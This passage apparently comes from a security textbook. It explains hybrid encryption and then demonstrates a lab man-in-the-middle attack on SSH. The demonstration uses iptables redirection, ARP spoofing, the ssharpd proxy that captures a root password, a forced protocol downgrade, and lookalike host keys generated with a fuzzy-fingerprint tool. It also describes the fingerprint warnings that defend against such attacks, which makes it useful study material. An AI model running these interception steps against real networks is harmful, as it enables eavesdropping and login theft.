|
|
A hybrid cryptosystem gets the best of both worlds. An asymmetric cipher is used to exchange a randomly generated key that is used to encrypt the remaining communications with a symmetric cipher. This provides the speed and efficiency of a symmetric cipher, while solving the dilemma of secure key exchange. Hybrid ciphers are used by most modern cryptographic applications, such as SSL, SSH, and PGP.
Because most applications use ciphers that are resistant to cryptanalysis, attacking the cipher usually won't work. However, if an attacker can intercept communications between both parties and masquerade as one or the other, the key exchange algorithm can be attacked.
A man-in-the-middle (MiM) attack is a clever way to circumvent encryption. The attacker sits between the two communicating parties, with each party believing they are communicating with the other party, but both are communicating with the attacker.
When an encrypted connection between the two parties is established, a secret key is generated and transmitted using an asymmetric cipher. Usually, this key is used to encrypt further communication between the two parties. Because the key is securely transmitted and the subsequent traffic is secured by the key, all of this traffic is unreadable by any would-be attacker sniffing these packets.
However, in a man-in-the-middle attack, party A believes that she is communicating with B, and party B believes he is communicating with A, but in reality, both are communicating with the attacker. So when A negotiates an encrypted connection with B, A is actually opening an encrypted connection with the attacker, which means the attacker securely communicates with an asymmetric cipher and learns the secret key. Then the attacker just needs to open another encrypted connection with B, and B will believe that it is communicating with A, as shown in the following illustration.
This means that the attacker actually maintains two separate encrypted communication channels with two separate encryption keys. Packets from A are encrypted with the first key and sent to the attacker, which A believes is actually B. The attacker then decrypts these packets with the first key and re-encrypts them with the second key. Then the attacker sends the newly encrypted packets to B, and B believes these packets are actually being sent by A. By sitting in the middle and maintaining two separate keys, the attacker is able to sniff and even modify traffic between A and B without either side being the wiser.
This can all be done with the ARP redirection Perl script from Chapter 0x300, and a modified openssh package called ssharp. Due to ssharp's license, it can't be distributed; however, it should be able to be found at http://stealth.7350.org/. ssharp's daemon, Ssharpd, just accepts all connections and then proxies these connections to the real destination IP address. IP filtering rules are used to redirect the ssh connection traffic destined for port 22 to port 1337 where ssharpd is running. Then the ARP redirection script redirects traffic between 192.168.0.118 and 192.168.0.189 so it will flow through 192.168.0.193. The following shows output from these machines:
overdose# iptables -t nat -A PREROUTING -p tcp --sport 1000:5000 --dport 22 -j REDIRECT --to-port 1337 -i eth0 overdose# ./ssharpd -4 -p 1337 Dude, Stealth speaking here. This is 7350ssharp, a smart SSH1 & SSH2 MiM attack implementation. It's for demonstration and educational purposes ONLY! Think before you type ... (<ENTER> or <Ctrl-C>) overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189 Pinging 192.168.0.118 and 192.168.0.189 to retrieve MAC addresses... Retrieving MAC addresses from arp cache... Retrieving your IP and MAC info from ifconfig... [*] Gateway: 192.168.0.118 is at 00:C0:F0:79:3D:30 [*] Target: 192.168.0.189 is at 00:02:2D:04:93:E4 [*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189 Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
While this redirection is going on, an SSH connection is opened from 192.168.0.118 to 192.168.0.189.
euclid$ ssh root@192.168.0.189 The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established. RSA key fingerprint is 01:17:51:de:91:9b:58:69:b2:91:6f:3a:e2:f8:48:fe. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts. root@192.168.0.189's password: Last login: Wed Jan 22 14:03:57 2003 from 192.168.0.118 tetsuo# exit Connection to 192.168.0.189 closed. euclid$
Everything seems okay, and the connection appeared to be secure. However, back on the machine overdose at 192.168.0.193, the following was happening:
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189 Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189 Ctrl-C caught, exiting cleanly. Putting arp caches back to normal. overdose# cat /tmp/ssharp 192.168.0.189:22 [root:1h4R)2cr4Kpa$$w0r)] overdose#
Because the authentication was actually redirected, with 192.168.0.193 acting as a proxy, the password could be sniffed.
The attacker's ability to masquerade as either party is what makes this type of attack possible. SSL and SSH were designed with this in mind and have protections against identity spoofing. SSL uses certificates to validate identity, and SSH uses host fingerprints. If the attacker doesn't have the proper certificate or fingerprint for B when A attempts to open an encrypted communication channel with the attacker, the signatures won't match and A will be alerted with a warning.
In the previous example, 192.168.0.118 (euclid) had never previously communicated over SSH with 192.168.0.189 (tetsuo) and therefore didn't have a host fingerprint. The host fingerprint that was accepted was actually the fingerprint for 192.168.0.193 (overdose). If this wasn't the case, and 192.168.0.118 had a host fingerprint for 192.168.0.189, the whole attack would have been detected, and the user would have been presented with a very blatant warning.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that the RSA host key has just been changed. The fingerprint for the RSA key sent by the remote host is 01:17:51:de:91:9b:58:69:b2:91:6f:3a:e2:f8:48:fe. Please contact your system administrator.
The openssh client will actually prevent the user from connecting until the old host fingerprint has been removed. However, many Windows SSH clients don't have the same kind of strict enforcement of these rules and will present the user with an "Are you sure you want to continue?" dialog box. An uninformed user could potentially just click right through the warning.
SSH host fingerprints do have a few vulnerabilities. These vulnerabilities have been compensated for in the most recent versions of openssh, but they do still exist in older implementations.
Usually the first time an SSH connection is made to a new host, that host's fingerprint is added to a known_hosts file, as shown here.
$ ssh 192.168.0.189 The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established. RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts. matrix@192.168.0.189's password: <ctrl-c> $ grep 192.168.0.189 .ssh/known_hosts 192.168.0.189 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAztDssBM41F7IPw+q/SXRjrqPp0ZazT1gfofdmBx9oVHBcHlbyrJDTdE hzA2EAXU6YowxyhApWUptpbPru4JW7aLhtCsWKLSFYAkdVnaXTIbWDD8rAfKFLOdaaW0ODxALOROxoTYasx MLWN4Ri0cdwpXZyyRqyYJP72Kqmdz1kjk=
However, there are two different protocols of SSH — SSH1 and SSH2 — each with separate host fingerprints.
$ ssh -1 192.168.0.189 The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established. RSA1 key fingerprint is 87:6d:82:7f:15:49:37:af:3f:86:26:da:75:f1:bb:be. Are you sure you want to continue connecting (yes/no)? $ ssh -2 192.168.0.189 The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established. RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f. Are you sure you want to continue connecting (yes/no)? $
The banner presented by the SSH server describes which SSH protocols it understands (shown in bold below).
$ telnet 192.168.0.193 22 Trying 192.168.0.193... Connected to 192.168.0.193. Escape character is '^]'. SSH-2.0-OpenSSH_3.5p1 Connection closed by foreign host. $ telnet 192.168.0.189 22 Trying 192.168.0.189... Connected to 192.168.0.189. Escape character is '^]'. SSH-1.99-OpenSSH_3.5p1 Connection closed by foreign host.
The banner from 192.168.0.193 includes the string "SSH-2.0", which shows that the server only speaks protocol 2. The banner from 192.168.0.189 includes the string "SSH-1.99", which shows that the server speaks both protocols 1 and 2. By convention, "1.99" means the server speaks both protocols. Often, the SSH server will be configured with a line like "Protocol 1,2", which means the server speaks both protocols and tries to use SSH1 if possible.
In the case of 192.168.0.193, it's obvious that any clients connecting to it have only communicated with SSH2 and therefore only have host fingerprints for protocol 2. In the case of 192.168.0.189, it's likely that clients have only communicated using SSH1 and therefore only have host fingerprints for protocol 1.
If the modified SSH daemon being used for the man-in-the-middle attack forces the client to communicate using the other protocol, no host fingerprint will be found. The user will simply be asked if they want to add the new fingerprint, instead of being presented with a lengthy warning. The ssharp MiM tool has a mode that tries to force the client to communicate using the protocol least likely to have been used by presenting the client with the proper banner. This mode is activated with the -7 switch.
The output below shows that euclid's SSH server usually speaks using protocol 1, so by using the -7 switch, the fake server presents a banner requesting protocol 2.
euclid$ telnet 192.168.0.189 22 Trying 192.168.0.189... Connected to 192.168.0.189. Escape character is '^]'. SSH-1.99-OpenSSH_3.5p1
overdose# iptables -t nat -A PREROUTING -p tcp --sport 1000:5000 --dport 22 -j REDIRECT --to-port 1337 -i eth0 overdose# ./ssharpd -4 -p 1337 -7 Dude, Stealth speaking here. This is 7350ssharp, a smart SSH1 & SSH2 MiM attack implementation. It's for demonstration and educational purposes ONLY! Think before you type ... (<ENTER> or <Ctrl-C>) Using special SSH2 MiM ... overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189 Pinging 192.168.0.118 and 192.168.0.189 to retrieve MAC addresses... Retrieving MAC addresses from arp cache... Retrieving your IP and MAC info from ifconfig... [*] Gateway: 192.168.0.118 is at 00:C0:F0:79:3D:30 [*] Target: 192.168.0.189 is at 00:02:2D:04:93:E4 [*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189 Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
euclid$ telnet 192.168.0.189 22 Trying 192.168.0.189... Connected to 192.168.0.189. Escape character is '^]'. SSH-2.0-OpenSSH_3.5p1
Usually, clients like euclid connecting to 192.168.0.189 would have only communicated using SSH1. Therefore, there would only be a protocol 1 host fingerprint stored on the client. When protocol 2 is forced by the MiM attack, the attacker's fingerprint won't be compared to the stored fingerprint due to the differing protocols. Older implementations will simply ask to add this fingerprint, because technically no host fingerprint exists for this protocol. This is shown in the output below.
euclid$ ssh root@192.168.0.189 The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established. RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f. Are you sure you want to continue connecting (yes/no)?
Because this vulnerability was made public, newer implementations of OpenSSH have a slightly more verbose warning:
euclid$ ssh root@192.168.0.189 WARNING: RSA1 key found for host 192.168.0.189 in /home/matrix/.ssh/known_hosts:19 RSA1 key fingerprint c0:42:19:c7:0d:dc:d7:65:cd:c3:a6:53:ec:fb:82:f8. The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established, but keys of different type are already known for this host. RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f. Are you sure you want to continue connecting (yes/no)?
This modified warning isn't as strong as the warning given when host fingerprints of the same protocol don't match. Also, because not all clients will be up-to-date, this technique can still prove to be useful for a MiM attack.
Konrad Rieck had an interesting idea regarding SSH host fingerprints. Often a user will connect to a server from several different clients. The host fingerprint will be displayed and added each time a new client is used, and a security-conscious user will tend to remember the general structure of the host fingerprint. While no one actually memorizes the entire fingerprint, major changes can be detected with little effort. Having a general idea of what the host fingerprint looks like when connecting from a new client greatly increases the security of that connection. If a MiM attack is attempted, the blatant difference in host fingerprints can usually be detected by eye.
However, the eye and the brain can be tricked. Certain fingerprints will look very similar to others. Digits like 1 and 7 look very similar, depending on the display font. Usually the hex digits found at the beginning and end of the fingerprint are remembered with the greatest clarity, while the middle tends to be a bit hazy. The goal behind the fuzzy fingerprint technique is to generate host keys with fingerprints that look similar enough to the original fingerprint to fool the human eye.
The openssh package provides tools to retrieve the host key from servers.
overdose$ ssh-keyscan -t rsa 192.168.0.189 > /tmp/189.hostkey # 192.168.0.189 SSH-1.99-OpenSSH_3.5p1 overdose$ cat /tmp/189.hostkey 192.168.0.189 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAztDssBM41F7IPw+q/SXRjrqPp0ZazT1gfofdmBx9oVHBcHlbyrJDTdE hzA2EAXU6YowxyhApWUptpbPru4JW7aLhtCsWKLSFYAkdVnaXTIbWDD8rAfKFLOdaaW0ODxALOROxoTYasx MLWN4Ri0cdwpXZyyRqyYJP72Kqmdz1kjk= overdose$ ssh-keygen -l -f /tmp/189.hostkey 1024 cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f 192.168.0.189 overdose$
Now that the host key fingerprint format is known for 192.168.0.189, fuzzy fingerprints can be generated that look similar. A program that does this has been developed by Mr. Rieck and is available at http://www.thc.org/thc-ffp/. The following output shows the creation of some fuzzy fingerprints for 192.168.0.189.
overdose$ ffp
Usage: ffp [Options]
Options:
-f type Specify type of fingerprint to use [Default: md5]
Available: md5, sha1, ripemd
-t hash Target fingerprint in byte blocks.
Colon-separated: 01:23:45:67... or as string 01234567...
-k type Specify type of key to calculate [Default: rsa]
Available: rsa, dsa
-b bits Number of bits in the keys to calculate [Default: 1024]
-K mode Specify key calulation mode [Default: sloppy]
Available: sloppy, accurate
-m type Specify type of fuzzy map to use [Default: gauss]
Available: gauss, cosine
-v variation Variation to use for fuzzy map generation [Default: 7.3]
-y mean Mean value to use for fuzzy map generation [Default: 0.14]
-l size Size of list that contains best fingerprints [Default: 10]
-s filename Filename of the state file [Default: /var/tmp/ffp.state]
-e Extract SSH host key pairs from state file
-d directory Directory to store generated ssh keys to [Default: /tmp]
-p period Period to save state file and display state [Default: 60]
-V Display version information
No state file /var/tmp/ffp.state present, specify a target hash.
$ ffp -f md5 -k rsa -b 1024 -t cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
---[Initializing]--------------------------------------------------------------
Initializing Crunch Hash: Done
Initializing Fuzzy Map: Done
Initializing Private Key: Done
Initializing Hash List: Done
Initializing FFP State: Done
---[Fuzzy Map]-----------------------------------------------------------------
Length: 32
Type: Inverse Gaussian Distribution
Sum: 15020328
Fuzzy Map: 10.83% | 9.64% : 8.52% | 7.47% : 6.49% | 5.58% : 4.74% | 3.96% :
3.25% | 2.62% : 2.05% | 1.55% : 1.12% | 0.76% : 0.47% | 0.24% :
0.09% | 0.01% : 0.00% | 0.06% : 0.19% | 0.38% : 0.65% | 0.99% :
1.39% | 1.87% : 2.41% | 3.03% : 3.71% | 4.46% : 5.29% | 6.18% :
---[Current Key]---------------------------------------------------------------
Key Algorithm: RSA (Rivest Shamir Adleman)
Key Bits / Size of n: 1024 Bits
Public key e: 0x10001
Public Key Bits / Size of e: 17 Bits
Phi(n) and e r.prime: Yes
Generation Mode: Sloppy
State File: /var/tmp/ffp.state
Running...
---[Current State]-------------------------------------------------------------
Running: 0d 00h 00m 00s | Total: 0k hashs | Speed: nan hashs/s
-------------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: ab:80:18:e2:4d:4b:1b:fa:e0:8c:1c:4d:c5:9c:bc:ef
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 30.715288%
---[Current State]-------------------------------------------------------------
Running: 0d 00h 01m 00s | Total: 5373k hashs | Speed: 89556 hashs/s
-------------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: cc:8b:1d:d9:8b:0f:c8:5f:f0:d7:a8:8f:3b:10:fe:3f
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 54.822385%
---[Current State]-------------------------------------------------------------
Running: 0d 00h 02m 00s | Total: 10893k hashs | Speed: 90776 hashs/s
-------------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: cc:8b:1d:d9:8b:0f:c8:5f:f0:d7:a8:8f:3b:10:fe:3f
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 54.822385%
[output trimmed]
---[Current State]-------------------------------------------------------------
Running: 7d 00h 57m 00s | Total: 52924141k hashs | Speed: 87015 hashs/s
-------------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9c:18:90:d5:0f
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 69.035430%
-------------------------------------------------------------------------------
Exiting and saving state file /var/tmp/ffp.state
This fuzzy fingerprint generation process can go on for as long as desired. The program will keep track of some of the best fingerprints internally and periodically display them. All of the state information is stored in /var/tmp/ffp.state, so the program can be exited with a CTRL-c and then resumed again later by simply running ffp without any arguments.
After running for a while, SSH host key pairs can be extracted from the state file with the -e switch.
overdose$ ffp -e -d /tmp ---[Restoring]----------------------------------------------------------------- Reading FFP State File: Done Restoring environment: Done Initializing Crunch Hash: Done ------------------------------------------------------------------------------- Saving SSH host key pairs: [00] [01] [02] [03] [04] [05] [06] [07] [08] [09] overdose$ ls /tmp/ssh-rsa* /tmp/ssh-rsa00 /tmp/ssh-rsa02.pub /tmp/ssh-rsa05 /tmp/ssh-rsa07.pub /tmp/ssh-rsa00.pub /tmp/ssh-rsa03 /tmp/ssh-rsa05.pub /tmp/ssh-rsa08 /tmp/ssh-rsa01 /tmp/ssh-rsa03.pub /tmp/ssh-rsa06 /tmp/ssh-rsa08.pub /tmp/ssh-rsa01.pub /tmp/ssh-rsa04 /tmp/ssh-rsa06.pub /tmp/ssh-rsa09 /tmp/ssh-rsa02 /tmp/ssh-rsa04.pub /tmp/ssh-rsa07 /tmp/ssh-rsa09.pub overdose$
In the preceding example, ten public and private host key pairs have been generated. Fingerprints for these key pairs can then be generated and compared with the original fingerprint, as seen in the following output.
overdose$ ssh-keygen -l -f /tmp/189.hostkey 1024 cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f 192.168.0.132 overdose$ ls -1 /tmp/ssh-rsa??.pub | xargs -n 1 ssh-keygen -l -f 1024 cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9c:18:90:d5:0f /tmp/ssh-rsa00.pub 1024 cc:80:18:7a:7c:ce:bd:47:00:9c:38:5d:8e:50:5d:0f /tmp/ssh-rsa01.pub 1024 ec:80:12:74:8b:a5:a3:ef:62:7c:29:9a:e8:10:57:0f /tmp/ssh-rsa02.pub 1024 cc:80:12:71:83:d3:aa:b4:f6:8c:d7:56:62:da:2e:0d /tmp/ssh-rsa03.pub 1024 cc:8c:10:d5:8f:79:52:65:8c:a2:e2:17:86:15:5e:0f /tmp/ssh-rsa04.pub 1024 cc:8b:12:7e:71:49:4e:08:db:c8:28:b7:5e:00:09:0f /tmp/ssh-rsa05.pub 1024 cc:80:12:54:8d:de:29:9d:b4:e7:5e:c8:40:40:7e:0c /tmp/ssh-rsa06.pub 1024 cc:80:12:70:83:a1:3a:ab:78:8d:38:97:7f:f5:d6:bf /tmp/ssh-rsa07.pub 1024 cc:80:92:76:83:8c:be:38:dc:f1:0e:45:ab:2e:53:0f /tmp/ssh-rsa08.pub 1024 cc:80:11:7d:88:a4:f7:f8:93:69:60:28:3b:1c:1e:5f /tmp/ssh-rsa09.pub overdose$
From the ten generated key pairs, the one that seems to look the most similar can be determined by eye. In this case, ssh-rsa00.pub, shown in bold, was chosen. Regardless of which key pair is chosen, though, it will certainly look more like the original fingerprint than a randomly generated key would.
This new key can be used with ssharpd to make for an even more effective SSH MiM attack, as seen in the following output.
overdose# ./ssharpd -h /tmp/ssh-rsa00 -p 1337 Dude, Stealth speaking here. This is 7350ssharp, a smart SSH1 & SSH2 MiM attack implementation. It's for demonstration and educational purposes ONLY! Think before you type ... (<ENTER> or <Ctrl-C>) Disabling protocol version 1. Could not load host key overdose# overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189 Pinging 192.168.0.118 and 192.168.0.189 to retrieve MAC addresses... Retrieving MAC addresses from arp cache... Retrieving your IP and MAC info from ifconfig... [*] Gateway: 192.168.0.118 is at 00:C0:F0:79:3D:30 [*] Target: 192.168.0.189 is at 00:02:2D:04:93:E4 [*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189 Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
euclid$ ssh root@192.168.0.189 The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established. RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f. Are you sure you want to continue connecting (yes/no)?
euclid$ ssh root@192.168.0.189 The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established. RSA key fingerprint is cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9c:18:90:d5:0f. Are you sure you want to continue connecting (yes/no)?
Can you immediately tell the difference? The fingerprints look similar enough to trick most people into simply accepting the connection.
|
|